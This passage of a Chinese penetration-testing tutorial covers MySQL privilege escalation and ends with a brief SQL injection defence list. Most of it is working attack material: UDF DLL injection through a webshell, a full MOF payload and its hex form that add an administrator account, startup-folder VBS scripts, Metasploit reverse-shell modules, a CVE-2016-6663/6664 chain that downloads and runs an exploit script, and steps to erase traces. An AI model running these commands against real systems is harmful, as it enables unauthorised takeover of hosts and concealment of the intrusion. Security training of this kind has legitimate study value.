load_file中的十六进制是C:\\Users\\ka1n4t\\Desktop\\lib_mysqludf_sys.dll

此时gg.txt文件的内容就是udf文件的16进制形式。

接下来就是把本地的udf16进制形式通过我们已经获得的webshell传到目标主机上。

CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。
INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //udftmp中写入udf文件内容
SELECT c FROM udftmp INTO DUMPFILE 'H:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll'; //udf文件内容传入新建的udf文件中,路径根据自己的@@basedir修改
//对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\

上面第三步,mysql5.1以上的版本是默认没有plugin目录的,网上有说可以使用ntfs数据流创建:

select test into dumpfile 'H:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

但是我本地测试一直没有成功。后来又在网上看了很多,都是用这种方法,看来是无解了。在t00ls上也有人说数据流从来没有成功过,所以说mysql5.1以上的提权能否成功还是个迷。

为了演示,在这里我是手工创建了个plugin目录(ps: 勿喷啦,我用的phpstudy环境,重新安装一个mysql的话有可能会冲突,所以就没搞,毕竟原理都一样)。

继续,到这儿如果没有报错的话就说明已经在目标主机上成功生成了udf文件。下面要导入udf函数:

DROP TABLE udftmp; //为了删除痕迹,把刚刚新建的udftmp表删掉
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; //导入udf函数

导入成功的话就可以使用了:

SELECT sys_eval('ipconfig');
返回网卡信息

如果得到了数据库的用户名和密码,并且可以远程连接的话,可以使用MSF里面的 exploit/multi/mysql/mysql_udf_payload 模块自动注入。

使用MSF进行UDF提权

使用MSF中的 exploit/multi/mysql/mysql_udf_payload 模块也可以进行UDF提权。MSF会将dll文件写入lib\plugin\目录下(前提是该目录存在,如果该目录不存在的话,则无法执行成功),dll文件名为任意创建的名字。该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。

select * from mysql.func where name = "sys_exec";

手动使用该 dll 文件创建sys_eval()函数,来执行有命令的回显。

create function sys_eval returns string soname "XJhSEGuE.dll";
select sys_eval("whoami");

附几个常用的cmd指令,用于添加一个管理员用户:

net user ka1n4t ka1n4t~!@ /add //添加新用户:ka1n4t,密码为ka1n4t~!@
net localgroup administrators ka1n4t /add //将ka1n4t添加至管理员分组

清除痕迹

drop function cmdshell; 删除函数  
delete from mysql.func where name='cmdshell' 删除函数  

26.2 mof提权

MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是 C:/Windows/system32/wbem/mof/ 目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。

手工复现

上传mof文件

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

MySQL 写文件的特性将这个 MOF 文件导入到 C:/Windows/system32/wbem/mof/ 目录下,依然采用上述编码的方式:

select 0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A  into dumpfile "C:/windows/system32/wbem/mof/test.mof";  

执行成功的的时候,test.mof 会出现在:c:/windows/system32/wbem/goog/ 目录下 否则出现在 c:/windows/system32/wbem/bad 目录下:

image-20240803132029936

MSF MOF 提权

MSF 里面也自带了 MOF 提权模块,使用起来也比较方便而且也做到了自动清理痕迹的效果,实际操作起来效率也还不错:

msf6 > use exploit/windows/mysql/mysql_mof
# 设置好自己的 payload
msf6 > set payload windows/meterpreter/reverse_tcp

# 设置目标 MySQL 的基础信息
msf6 > set rhosts 10.211.55.21
msf6 > set username root
msf6 > set password root
msf6 > run

实际运行效果如下:

image-20240803131819501

26.3 启动项提权

MySQL的启动项提权,原理就是通过mysql把一段vbs脚本导入到系统的启动项下,如果管理员启动或者重启的服务器,那么该脚本就会被调用,并执行vbs脚本里面的命令。

以下是启动项路径

#2003
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
#2008
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

有了路径我们在mysql的shell下输入如下代码

create table a (cmd text); 
insert into a values ("set wshshell=createobject (""wscript.shell"") " ); 
insert into a values ("a=wshshell.run (""cmd.exe /c net user suifeng p@ssw0rd /add"",0) " ); 
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators suifeng /add"",0) " ); 
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

21

然后我们在对应路径下就可以看到我们的vbs脚本了

22

然后重启,即可发现vbs脚本里面创建的用户。

23

26.4 CVE-2016-6663、CVE-2016-6664组合提权

1、利用CVE-2016-6663将www-data权限提升为mysql权限:

cd /var/www/html/
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
./mysql-privesc-race test 123456 localhost testdb

2、利用CVE-2016-6664将Mysql权限提升为root权限:

wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh
chmod 777 mysql-chowned.sh
./mysql-chowned.sh /var/log/mysql/error.log

27 防御

  1. 关闭应用的错误提示
  2. 加waf
  3. 对输入进行过滤
  4. 限制输入长度
  5. 限制好数据库权限,drop/create/truncate等权限谨慎grant
  6. 预编译好sql语句,python和Php中一般使用?作为占位符。这种方法是从编程框架方面解决利用占位符参数的sql注入,只能说一定程度上防止注入。还有缓存溢出、终止字符等。
  7. 数据库信息加密安全(引导到密码学方面)。不采用md5因为有彩虹表,一般是一次md5后加盐再md5
  8. 清晰的编程规范,结对/自动化代码review,加大量现成的解决方案(PreparedStatement,ActiveRecord,歧义字符过滤, 只可访问存储过程balabala)已经让SQL注入的风险变得非常低了。
  9. 对于 int 进行强制类型转换
  10. 对 SQL 的异常响应进行判断,进行自定义响应
  11. 禁用多语句,比如 PHP 中的 multi_query
  12. 比如 go 去调用 gorm库,把数据库表字段跟代码中的类进行绑定,增删改查都直接调用函数,不需要自己编写 sql
  13. order by mybatis choose 标签